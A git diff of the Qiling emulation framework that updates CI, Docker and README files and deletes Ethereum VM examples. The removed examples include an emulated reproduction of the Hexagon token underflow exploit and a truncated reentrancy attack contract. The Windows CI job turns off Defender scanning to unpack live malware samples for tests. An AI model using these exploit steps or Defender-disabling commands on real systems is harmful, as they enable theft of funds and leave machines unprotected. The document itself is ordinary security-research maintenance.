diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 000000000..c956b2331
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,6 @@
+/**
+!/qiling/
+!/poetry.lock
+!/pyproject.toml
+!/ql*
+!/README.md
diff --git a/.editorconfig b/.editorconfig
new file mode 100644
index 000000000..04e85d912
--- /dev/null
+++ b/.editorconfig
@@ -0,0 +1,12 @@
+# EditorConfig is awesome: https://editorconfig.org
+
+# top-most EditorConfig file
+root = true
+
+[*.py]
+charset = utf-8
+end_of_line = lf
+indent_size = 4
+indent_style = space
+insert_final_newline = true
+trim_trailing_whitespace = true
diff --git a/.github/workflows/build-ci.yml b/.github/workflows/build-ci.yml
index 2dc4b7663..5cecd78e3 100644
--- a/.github/workflows/build-ci.yml
+++ b/.github/workflows/build-ci.yml
@@ -10,82 +10,76 @@ jobs:
fail-fast: false
matrix:
#os: [windows-2019, macos-10.15, ubuntu-18.04, ubuntu-20.04]
- os: [windows-latest, ubuntu-20.04]
- python-version: [3.8, 3.9]
+ os: [windows-latest, ubuntu-22.04]
+ python-version: ["3.9", "3.11"]
include:
- os: ubuntu-22.04
python-version: 3.9
container: Docker
steps:
- - uses: actions/checkout@v3
+ - uses: actions/checkout@v3
- - name: Set up Python
- uses: actions/setup-python@v4
- with:
- python-version: ${{ matrix.python-version }}
+ - name: Set up Python
+ uses: actions/setup-python@v4
+ with:
+ python-version: ${{ matrix.python-version }}
+ - name: Win setup MSVC
+ if: contains(matrix.os, 'windows')
+ uses: microsoft/setup-msbuild@v1
- - name: Win setup MSVC
- if: contains(matrix.os, 'windows')
- uses: microsoft/setup-msbuild@v1
-
-
- - name: Win configure Pagefile
- if: contains(matrix.os, 'windows')
- uses: al-cheb/configure-pagefile-action@v1.2
- with:
+ - name: Win configure Pagefile
+ if: contains(matrix.os, 'windows')
+ uses: al-cheb/configure-pagefile-action@v1.2
+ with:
minimum-size: 16GB
maximum-size: 16GB
disk-root: "C:"
-
- - name: win run tests
- if: contains(matrix.os, 'windows')
- shell: bash
- run: |
+ - name: win run tests
+ if: contains(matrix.os, 'windows')
+ shell: bash
+ run: |
powershell Start-Process -PassThru -Wait PowerShell -ArgumentList "'-Command Set-MpPreference -DisableArchiveScanning \$true'"
powershell Start-Process -PassThru -Wait PowerShell -ArgumentList "'-Command Set-MpPreference -DisableBehaviorMonitoring \$true'"
powershell Start-Process -PassThru -Wait PowerShell -ArgumentList "'-Command Set-MpPreference -DisableRealtimeMonitoring \$true'"
powershell Start-Process -PassThru -Wait PowerShell -ArgumentList "'-Command Add-MpPreference -ExclusionPath $GITHUB_WORKSPACE'"
- pip3 install setuptools wheel
pip3 install .
cd examples
rm -rf rootfs
curl -LJk -o master.zip https://github.com/qilingframework/rootfs/archive/refs/heads/master.zip && unzip master.zip
mv rootfs-master rootfs
- cd $GITHUB_WORKSPACE
+ cd "$GITHUB_WORKSPACE"
cmd.exe //C 'examples\scripts\dllscollector.bat'
- cd $GITHUB_WORKSPACE/examples/rootfs/x86_windows/bin
+ cd "$GITHUB_WORKSPACE/examples/rootfs/x86_windows/bin"
unzip -Pinfected wannacry.bin.zip
unzip -Pinfected UselessDisk.bin.zip
unzip -Pinfected GandCrab502.bin.zip
unzip -Pinfected al-khaser.bin.zip
unzip -Pinfected sality.dll.zip
- cd $GITHUB_WORKSPACE/tests
+ cd "$GITHUB_WORKSPACE/tests"
cmd.exe //C '.\test_pe.bat'
+ - name: linux run tests
+ if: contains(matrix.os, 'ubuntu')
+ shell: 'script -q -e -c "bash {0}"'
+ run: |
+ cd examples
+ rm -rf rootfs
+ wget https://github.com/qilingframework/rootfs/archive/refs/heads/master.zip
+ unzip master.zip && mv rootfs-master rootfs
+ cd ../qiling
+ cd ../examples/rootfs/x86_linux/kernel && unzip -P infected m0hamed_rootkit.ko.zip
+ cd ../../../../
+ pip3 install -e .[RE]
- - name: linux run tests
- if: contains(matrix.os, 'ubuntu')
- shell: 'script -q -e -c "bash {0}"'
- run: |
- cd examples
- rm -rf rootfs
- wget https://github.com/qilingframework/rootfs/archive/refs/heads/master.zip
- unzip master.zip && mv rootfs-master rootfs
- cd ../qiling
- cd ../examples/rootfs/x86_linux/kernel && unzip -P infected m0hamed_rootkit.ko.zip
- cd ../../../../
- pip3 install -e .[evm,RE]
-
- if [ ${{ matrix.os }} == 'ubuntu-18.04' ] and [ ${{ matrix.python-version }} == '3.9' ]; then
- docker run -it --rm -v ${GITHUB_WORKSPACE}:/qiling qilingframework/qiling:dev bash -c "cd tests && ./test_onlinux.sh"
- else
- pip3 install setuptools wheel
- cd tests && ./test_onlinux.sh
- fi
-
+ if [ ${{ matrix.os }} == 'ubuntu-18.04' ] and [ ${{ matrix.python-version }} == '3.9' ]; then
+ docker run -it --rm -v ${GITHUB_WORKSPACE}:/qiling qilingframework/qiling:dev bash -c "cd tests && ./test_onlinux.sh"
+ else
+ pip3 install poetry
+ cd tests && ./test_onlinux.sh
+ fi
# - name: mac run tests
# if: contains(matrix.os, 'macos')
@@ -97,4 +91,4 @@ jobs:
# cd $GITHUB_WORKSPACE/examples/rootfs/x8664_macos/kext
# unzip -Pinfected SuperRootkit.kext.zip
# cd $GITHUB_WORKSPACE/tests
- # ./test_macho.sh
+ # ./test_macho.sh
diff --git a/.github/workflows/dockerimage.yml b/.github/workflows/dockerimage.yml
index f842194c0..ce0536f60 100644
--- a/.github/workflows/dockerimage.yml
+++ b/.github/workflows/dockerimage.yml
@@ -10,7 +10,7 @@ jobs:
build:
runs-on: ubuntu-latest
steps:
- - name: 'Checkout git repo'
+ - name: "Checkout git repo"
uses: actions/checkout@v1
- name: Publish to registry
diff --git a/.github/workflows/giteesync.yml b/.github/workflows/giteesync.yml
index dbf797497..e90c63e66 100644
--- a/.github/workflows/giteesync.yml
+++ b/.github/workflows/giteesync.yml
@@ -1,18 +1,17 @@
- name: sync to gitee
- on:
- push:
+name: sync to gitee
+on:
+ push:
- jobs:
- deploy:
- runs-on: ubuntu-latest
- if: github.repository_owner == 'qilingframework'
- steps:
- - uses: actions/checkout@v2
- with:
- fetch-depth: 0
- - uses: xwings/sync-repo-action@master
- with:
- run: git config --global --add safe.directory *
- ssh_private_key: ${{ secrets.GITEE_KEY }}
- target_repo: ssh://git@gitee.com/qilingframework/qiling.git
-
+jobs:
+ deploy:
+ runs-on: ubuntu-latest
+ if: github.repository_owner == 'qilingframework'
+ steps:
+ - uses: actions/checkout@v2
+ with:
+ fetch-depth: 0
+ - uses: xwings/sync-repo-action@master
+ with:
+ run: git config --global --add safe.directory *
+ ssh_private_key: ${{ secrets.GITEE_KEY }}
+ target_repo: ssh://git@gitee.com/qilingframework/qiling.git
diff --git a/.github/workflows/pythonpublish.yml b/.github/workflows/pythonpublish.yml
index ec800b2a2..4b83c2baf 100644
--- a/.github/workflows/pythonpublish.yml
+++ b/.github/workflows/pythonpublish.yml
@@ -6,28 +6,25 @@ jobs:
build:
runs-on: ubuntu-latest
steps:
- - uses: actions/checkout@v2
- - name: Set up Python
- uses: actions/setup-python@v1
- with:
- python-version: '3.x'
- - name: Install dependencies
- run: |
- pip install setuptools wheel
- - name: Build distribution 📦
- run: |
- pip install .
- python setup.py sdist bdist_wheel
- - uses: actions/upload-artifact@v2
- with:
- path: ${{ github.workspace }}/dist/*
+ - uses: actions/checkout@v2
+ - name: Set up Python
+ uses: actions/setup-python@v4
+ with:
+ python-version: "^3.8"
+ - name: Install dependencies
+ run: pipx install poetry
+ - name: Build distribution 📦
+ run: poetry build -n
+ - uses: actions/upload-artifact@v4
+ with:
+ path: ${{ github.workspace }}/dist/*
publish:
needs: [build]
runs-on: ubuntu-latest
if: startsWith(github.ref, 'refs/tags')
steps:
- - uses: actions/download-artifact@v2
+ - uses: actions/download-artifact@v4
with:
name: artifact
path: dist
diff --git a/.gitignore b/.gitignore
index 07ebbc03c..766e541d9 100644
--- a/.gitignore
+++ b/.gitignore
@@ -2,19 +2,10 @@
.DS_Store
.vscode
.idea
-*.pyc
*.cache
*.cache2
.*.swp
*.raw
-.venv
-
-# cache and misc
-qiling.egg-info/
-__pycache__/
-*.py[cod]
-build
-dist
# test and logs
tests/mac_test_elf.sh
@@ -38,3 +29,44 @@ core
tests/output.txt
tests/testtest_*
+### Python ###
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+
+# Distribution / packaging
+build/
+develop-eggs/
+dist/
+eggs/
+sdist/
+wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# Environments
+.env
+.venv
+venv/
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Poetry local configuration file - https://python-poetry.org/docs/configuration/#local-configuration
+poetry.toml
+
+# ruff
+.ruff_cache/
+
+# LSP config files
+pyrightconfig.json
diff --git a/Dockerfile b/Dockerfile
index 99a0a9bf6..dd0f49e4b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,31 +1,39 @@
-FROM python:3.8-slim AS builder
+FROM python:3-slim AS base
-LABEL maintainer="Kevin Foo "
+WORKDIR /qiling
+# hadolint global ignore=DL3008,DL3013
ENV DEBIAN_FRONTEND=noninteractive
-ENV AM_I_IN_A_DOCKER_CONTAINER Yes
+ENV AM_I_IN_A_DOCKER_CONTAINER=True
-RUN apt-get update \
- && apt-get -y upgrade \
- && apt-get install -y --no-install-recommends cmake build-essential gcc git
+RUN apt-get update && apt-get -y upgrade && rm -rf /var/lib/apt/lists/*
+
+
+FROM base AS builder
-COPY . /qiling
+RUN apt-get update && apt-get install -y --no-install-recommends \
+ cmake build-essential gcc git \
+ && rm -rf /var/lib/apt/lists/*
-RUN cd /qiling \
- && pip wheel . -w wheels
+COPY pyproject.toml poetry.lock ./
+RUN pip3 install --no-cache-dir poetry \
+ && poetry install --no-root --no-directory
-FROM python:3.8-slim AS base
+COPY . .
+RUN poetry install --only main && poetry build --format=wheel
+
+FROM base
+
+LABEL maintainer="Kevin Foo "
COPY --from=builder /qiling /qiling
WORKDIR /qiling
RUN apt-get update \
- && apt-get install -y --no-install-recommends unzip apt-utils \
- && rm -rf /var/lib/apt/lists/* \
- && pip3 install --no-deps wheels/*.whl \
- && rm -rf wheels
-
-ENV HOME /qiling
+ && apt-get install -y --no-install-recommends unzip apt-utils \
+ && rm -rf /var/lib/apt/lists/* \
+ && pip3 install --no-deps --no-cache-dir dist/*.whl \
+ && rm -rf ./dist/
-CMD bash
+CMD ["bash"]
diff --git a/README.md b/README.md
index 5686fd45f..63f542f38 100644
--- a/README.md
+++ b/README.md
@@ -8,23 +8,24 @@
-[Qiling's usecase, blog and related work](https://github.com/qilingframework/qiling/issues/134)
+[Qiling's use case, blog and related work](https://github.com/qilingframework/qiling/issues/134)
Qiling is an advanced binary emulation framework, with the following features:
-- Emulate multi-platforms: Windows, MacOS, Linux, Android, BSD, UEFI, DOS, MBR, Ethereum Virtual Machine
-- Emulate multi-architectures: 8086, X86, X86_64, ARM, ARM64, MIPS, RISCV, PowerPC
-- Support multiple file formats: PE, MachO, ELF, COM, MBR
-- Support Windows Driver (.sys), Linux Kernel Module (.ko) & MacOS Kernel (.kext) via [Demigod](https://groundx.io/demigod/)
-- Emulates & sandbox code in an isolated environment
-- Provides a fully configurable sandbox
-- Provides in-depth memory, register, OS level and filesystem level API
-- Fine-grain instrumentation: allows hooks at various levels (instruction/basic-block/memory-access/exception/syscall/IO/etc)
-- Provides virtual machine level API such as save and restore current execution state
-- Supports cross architecture and platform debugging capabilities
-- Built-in debugger with reverse debugging capability
-- Allows dynamic hotpatch on-the-fly running code, including the loaded library
-- True framework in Python, making it easy to build customized security analysis tools on top
+- Emulate multi-platforms: Windows, macOS, Linux, Android, BSD, UEFI, DOS, MBR.
+- Emulate multi-architectures: 8086, X86, X86_64, ARM, ARM64, MIPS, RISC-V, PowerPC.
+- Support multiple file formats: PE, Mach-O, ELF, COM, MBR.
+- Support Windows Driver (.sys), Linux Kernel Module (.ko) & macOS Kernel (.kext) via [Demigod](https://groundx.io/demigod/).
+- Emulates & sandbox code in an isolated environment.
+- Provides a fully configurable sandbox.
+- Provides in-depth memory, register, OS level and filesystem level API.
+- Fine-grain instrumentation: allows hooks at various levels
+ (instruction/basic-block/memory-access/exception/syscall/IO/etc.)
+- Provides virtual machine level API such as saving and restoring the current execution state.
+- Supports cross architecture and platform debugging capabilities.
+- Built-in debugger with reverse debugging capability.
+- Allows dynamic hot patch on-the-fly running code, including the loaded library.
+- True framework in Python, making it easy to build customized security analysis tools on top.
Qiling also made its way to various international conferences.
@@ -49,52 +50,78 @@ Qiling also made its way to various international conferences.
2019:
-- [Defcon, USA](https://www.defcon.org/html/defcon-27/dc-27-demolabs.html#QiLing)
+- [DEFCON, USA](https://www.defcon.org/html/defcon-27/dc-27-demolabs.html#QiLing)
- [Hitcon](https://hitcon.org/2019/CMT/agenda)
- [Zeronights](https://zeronights.ru/report-en/qiling-io-advanced-binary-emulation-framework/)
-Qiling is backed by [Unicorn engine](http://www.unicorn-engine.org).
+Qiling is backed by [Unicorn Engine](http://www.unicorn-engine.org).
-Visit our website https://www.qiling.io for more information.
+Visit our [website](https://www.qiling.io) for more information.
---
#### License
-This project is released and distributed under [free software license GPLv2](https://github.com/qilingframework/qiling/blob/master/COPYING) and later version.
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
---
-#### Qiling vs other Emulators
+#### Qiling vs. other Emulators
-There are many open source emulators, but two projects closest to Qiling are [Unicorn](http://www.unicorn-engine.org) & [Qemu usermode](https://qemu.org). This section explains the main differences of Qiling against them.
+There are many open-source emulators, but two projects closest to Qiling
+are [Unicorn](http://www.unicorn-engine.org) & [QEMU user mode](https://qemu.org).
+This section explains the main differences of Qiling against them.
-##### Qiling vs Unicorn engine
+##### Qiling vs. Unicorn engine
Built on top of Unicorn, but Qiling & Unicorn are two different animals.
-- Unicorn is just a CPU emulator, so it focuses on emulating CPU instructions, that can understand emulator memory. Beyond that, Unicorn is not aware of higher level concepts, such as dynamic libraries, system calls, I/O handling or executable formats like PE, MachO or ELF. As a result, Unicorn can only emulate raw machine instructions, without Operating System (OS) context
-- Qiling is designed as a higher level framework, that leverages Unicorn to emulate CPU instructions, but can understand OS: it has executable format loaders (for PE, MachO & ELF at the moment), dynamic linkers (so we can load & relocate shared libraries), syscall & IO handlers. For this reason, Qiling can run executable binary without requiring its native OS
-
-##### Qiling vs Qemu usermode
-
-Qemu usermode does similar thing to our emulator, that is to emulate whole executable binaries in cross-architecture way. However, Qiling offers some important differences against Qemu usermode.
-
-- Qiling is a true analysis framework, that allows you to build your own dynamic analysis tools on top (in friendly Python language). Meanwhile, Qemu is just a tool, not a framework
-- Qiling can perform dynamic instrumentation, and can even hotpatch code at runtime. Qemu does not do either
-- Not only working cross-architecture, Qiling is also cross-platform, so for example you can run Linux ELF file on top of Windows. In contrast, Qemu usermode only run binary of the same OS, such as Linux ELF on Linux, due to the way it forwards syscall from emulated code to native OS
-- Qiling supports more platforms, including Windows, MacOS, Linux & BSD. Qemu usermode can only handle Linux & BSD
+- Unicorn is just a CPU emulator, so it focuses on emulating CPU instructions,
+ that can understand emulator memory.
+ Beyond that, Unicorn is not aware of higher level concepts, such as dynamic
+ libraries, system calls, I/O handling or executable formats like PE, Mach-O
+ or ELF. As a result, Unicorn can only emulate raw machine instructions,
+ without Operating System (OS) context.
+- Qiling is designed as a higher level framework, that leverages Unicorn to
+ emulate CPU instructions, but can understand OS: it has executable format
+ loaders (for PE, Mach-O & ELF currently), dynamic linkers (so we can
+ load & relocate shared libraries), syscall & IO handlers. For this reason,
+ Qiling can run executable binary without requiring its native OS.
+
+##### Qiling vs. QEMU user mode
+
+QEMU user mode does a similar thing to our emulator, that is, to emulate whole
+executable binaries in a cross-architecture way.
+However, Qiling offers some important differences against QEMU user mode:
+
+- Qiling is a true analysis framework,
+ that allows you to build your own dynamic analysis tools on top (in Python).
+ Meanwhile, QEMU is just a tool, not a framework.
+- Qiling can perform dynamic instrumentation, and can even hot patch code at
+ runtime. QEMU does neither.
+- Not only working cross-architecture, Qiling is also cross-platform.
+ For example, you can run Linux ELF file on top of Windows.
+ In contrast, QEMU user mode only runs binary of the same OS, such as Linux
+ ELF on Linux, due to the way it forwards syscall from emulated code to
+ native OS.
+- Qiling supports more platforms, including Windows, macOS, Linux & BSD. QEMU
+ user mode can only handle Linux & BSD.
---
#### Installation
+
Please see [setup guide](https://docs.qiling.io/en/latest/install/) file for how to install Qiling Framework.
---
#### Examples
-- The example below shows how to use Qiling framework in the most striaghtforward way to emulate a Windows executable.
+The example below shows how to use Qiling framework in the most
+straightforward way to emulate a Windows executable.
```python
from qiling import Qiling
@@ -108,7 +135,8 @@ if __name__ == "__main__":
ql.run()
```
-- The following example shows how a Windows crackme may be patched dynamically to make it always display the "Congratulation" dialog.
+- The following example shows how a Windows crackme may be patched dynamically
+ to make it always display the “Congratulation” dialog.
```python
from qiling import Qiling
@@ -145,34 +173,34 @@ if __name__ == "__main__":
ql.run()
```
-The below Youtube video shows how the above example works.
+The below YouTube video shows how the above example works.
-#### Emulating ARM router firmware on Ubuntu X64 machine
+#### Emulating ARM router firmware on Ubuntu x64 host
-- Qiling Framework hot-patch and emulates ARM router's /usr/bin/httpd on a X86_64Bit Ubuntu
+Qiling Framework hot-patches and emulates an ARM router's `/usr/bin/httpd` on
+an x86_64 Ubuntu host.
-[](https://www.youtube.com/watch?v=e3_T3KLh2NU " Demo #3 Emulating and Fuzz ARM router firmware")
+[](https://www.youtube.com/watch?v=e3_T3KLh2NU)
-#### Qiling's IDAPro Plugin: Instrument and Decrypt Mirai's Secret
+#### Qiling's IDA Pro Plugin: Instrument and Decrypt Mirai's Secret
-- This video demonstrate how Qiling's IDAPro plugin able to make IDApro run with Qiling instrumentation engine
+This video demonstrates how Qiling's IDA Pro plugin can make IDA Pro run with
+Qiling instrumentation engine.
-[](http://www.youtube.com/watch?v=ZWMWTq2WTXk "Qiling's IDAPro Plugin: Instrument and Decrypt Mirai's Secret")
+[](http://www.youtube.com/watch?v=ZWMWTq2WTXk)
-#### GDBserver with IDAPro demo
+#### GDB server with IDA Pro demo
-- Solving a simple CTF challenge with Qiling Framework and IDAPro
+Solving a simple CTF challenge with Qiling Framework and IDA Pro
-[](https://www.youtube.com/watch?v=SPjVAt2FkKA "Video DEMO 2")
+[](https://www.youtube.com/watch?v=SPjVAt2FkKA)
#### Emulating MBR
-- Qiling Framework emulates MBR
-
-[](https://github.com/qilingframework/theme.qiling.io/blob/master/source/img/mbr.png?raw=true "Demo #4 Emulating UEFI")
-
+Qiling Framework emulates MBR
+[](https://github.com/qilingframework/theme.qiling.io/blob/master/source/img/mbr.png?raw=true)
---
@@ -195,7 +223,7 @@ With binary file:
$ ./qltool run -f examples/rootfs/x8664_linux/bin/x8664_hello --rootfs examples/rootfs/x8664_linux/
```
-With binary and GDB debugger enable:
+With binary and GDB debugger enabled:
```
$ ./qltool run -f examples/rootfs/x8664_linux/bin/x8664_hello --gdb 127.0.0.1:9999 --rootfs examples/rootfs/x8664_linux
@@ -207,7 +235,7 @@ With code coverage collection (UEFI only for now):
$ ./qltool run -f examples/rootfs/x8664_efi/bin/TcgPlatformSetupPolicy --rootfs examples/rootfs/x8664_efi --coverage-format drcov --coverage-file TcgPlatformSetupPolicy.cov
```
-With json output (Windows mainly):
+With JSON output (Windows, mainly):
```
$ ./qltool run -f examples/rootfs/x86_windows/bin/x86_hello.exe --rootfs examples/rootfs/x86_windows/ --console False --json
@@ -219,10 +247,11 @@ $ ./qltool run -f examples/rootfs/x86_windows/bin/x86_hello.exe --rootfs exampl
Get the latest info from our website https://www.qiling.io
-Contact us at email info@qiling.io, or via Twitter [@qiling_io](https://twitter.com/qiling_io) or [Weibo](https://www.weibo.com/sgniwx)
+Contact us at email info@qiling.io,
+via Twitter [@qiling_io](https://twitter.com/qiling_io).
---
-#### Core developers, Key Contributors and etc
+#### Core developers, Key Contributors and etc.
-Please refer to [CREDITS.md](https://github.com/qilingframework/qiling/blob/dev/CREDITS.md)
+Please refer to [CREDITS.md](https://github.com/qilingframework/qiling/blob/dev/CREDITS.md).
diff --git a/examples/evm/evm_Hexagon_overflow.py b/examples/evm/evm_Hexagon_overflow.py
deleted file mode 100644
index c26f0938d..000000000
--- a/examples/evm/evm_Hexagon_overflow.py
+++ /dev/null
@@ -1,55 +0,0 @@
-#!/usr/bin/env python3
-#
-# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
-#
-
-# https://etherscan.io/tx/0x9243d45ca81db4f16a0ded3e57982b4bc95ec32ce69d541bf6e019d949cbc6c8
-# https://www.anquanke.com/post/id/145520
-
-import sys
-sys.path.append("../..")
-
-from qiling import Qiling
-from qiling.const import QL_ARCH
-
-
-def example_run_evm():
- contract = '0x606060405266017dfcdece4000600055341561001a57600080fd5b600160a060020a033316600090815260016020526040902066017dfcdece400090556106eb8061004b6000396000f3006060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae57806327edf097146101d6578063313ce567146101ff578063378dc3dc1461021257806342966c681461022557806370a082311461023b578063771282f61461025a57806395d89b411461026d578063a9059cbb14610280578063dd62ed3e146102a2575b600080fd5b34156100d457600080fd5b6100dc6102c7565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a03600435166024356102fe565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6103a4565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356103aa565b34156101e157600080fd5b6101e9610422565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b6101e9610427565b341561021d57600080fd5b61019c61042c565b341561023057600080fd5b610175600435610437565b341561024657600080fd5b61019c600160a060020a03600435166104ea565b341561026557600080fd5b61019c6104fc565b341561027857600080fd5b6100dc610502565b341561028b57600080fd5b610175600160a060020a0360043516602435610539565b34156102ad57600080fd5b61019c600160a060020a036004358116906024351661054f565b60408051908101604052600781527f48657861676f6e00000000000000000000000000000000000000000000000000602082015281565b60008115806103305750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561033b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005490565b600160a060020a03808416600090815260026020908152604080832033909416835292905290812054829010156103e057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052208054839003905561041884848461056c565b5060019392505050565b600281565b600481565b66017dfcdece400081565b600160a060020a0333166000908152600160205260408120548290101561045d57600080fd5b600160a060020a033316600081815260016020526040808220805486900390558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980548601905581548590039091557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60016020526000908152604090205481565b60005481565b60408051908101604052600381527f4858470000000000000000000000000000000000000000000000000000000000602082015281565b600061054633848461056c565b50600192915050565b600260209081526000928352604080842090915290825290205481565b600160a060020a038216151561058157600080fd5b600160a060020a038316600090815260016020526040902054600282019010156105aa57600080fd5b600160a060020a038216600090815260016020526040902054818101116105d057600080fd5b600160a060020a03808416600081815260016020526040808220805460011990879003810190915593861682528082208054860190558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980546002908101909155825490940190915590917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5915160ff909116815260200160405180910390a281600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050505600a165627a7a72305820fbef5b10322242b8659b5de8e24ec1cf5e809831f6f7c08e52112f76daa31aef0029'
- ql = Qiling(code=contract, archtype=QL_ARCH.EVM)
-
- user1 = ql.arch.evm.create_account(balance=100*10**18)
- user2 = ql.arch.evm.create_account(balance=100*10**18)
- c1 = ql.arch.evm.create_account()
-
- def check_balance(sender, destination):
- call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender])
- msg2 = ql.arch.evm.create_message(sender, destination, data=call_data)
- return ql.run(code=msg2)
-
- # Deploy runtime code
- msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
- ql.run(code=msg0)
-
- # # SMART CONTRACT DEPENDENT: check balance of user1
- result = check_balance(user1, c1)
- print('User1 balance =', int(result.output.hex()[2:], 16))
-
- # # SMART CONTRACT DEPENDENT: transform from user1 to user2
- call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \
- ql.arch.evm.abi.convert(['uint256'], [0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe])
- msg1 = ql.arch.evm.create_message(user1, c1, data=call_data)
- result = ql.run(code=msg1)
-
- if int(result.output.hex()[2:], 16) == 1:
- print('User1 transfered Token to User1')
-
- # # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1
- result = check_balance(user1, c1)
- print('User1 final balance =', int(result.output.hex()[2:], 16))
-
- result = check_balance(user2, c1)
- print('User2 final balance =', int(result.output.hex()[2:], 16))
-
-
-if __name__ == "__main__":
- example_run_evm()
diff --git a/examples/evm/evm_debugger.py b/examples/evm/evm_debugger.py
deleted file mode 100644
index 9a6e53954..000000000
--- a/examples/evm/evm_debugger.py
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/env python3
-#
-# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
-#
-
-import sys
-sys.path.append("../..")
-
-from qiling import Qiling
-from qiling.const import QL_ARCH
-
-
-if __name__ == '__main__':
- contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029'
- ql = Qiling(code=contract, archtype=QL_ARCH.EVM)
- ql.debugger = True
-
- # Add Balance Var to the contract
- bal = ql.arch.evm.abi.convert(['uint256'], [20])
- contract = contract + bal
-
- user1 = ql.arch.evm.create_account(balance=100*10**18)
- user2 = ql.arch.evm.create_account(balance=100*10**18)
- c1 = ql.arch.evm.create_account()
-
- msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
- ql.run(code=msg0)
\ No newline at end of file
diff --git a/examples/evm/evm_reentrancy.py b/examples/evm/evm_reentrancy.py
deleted file mode 100644
index 09100f6cd..000000000
--- a/examples/evm/evm_reentrancy.py
+++ /dev/null
@@ -1,85 +0,0 @@
-#!/usr/bin/env python3
-#
-# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
-#
-
-import sys
-sys.path.append("../..")
-
-from qiling import Qiling
-from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector
-from qiling.arch.evm.vm.vm import BaseVM
-from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS
-from qiling.const import QL_ARCH
-
-
-if __name__ == '__main__':
- # Attack_contract = '0x608060405234801561001057600080fd5b5060405160208061046d83398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506103ea806100836000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff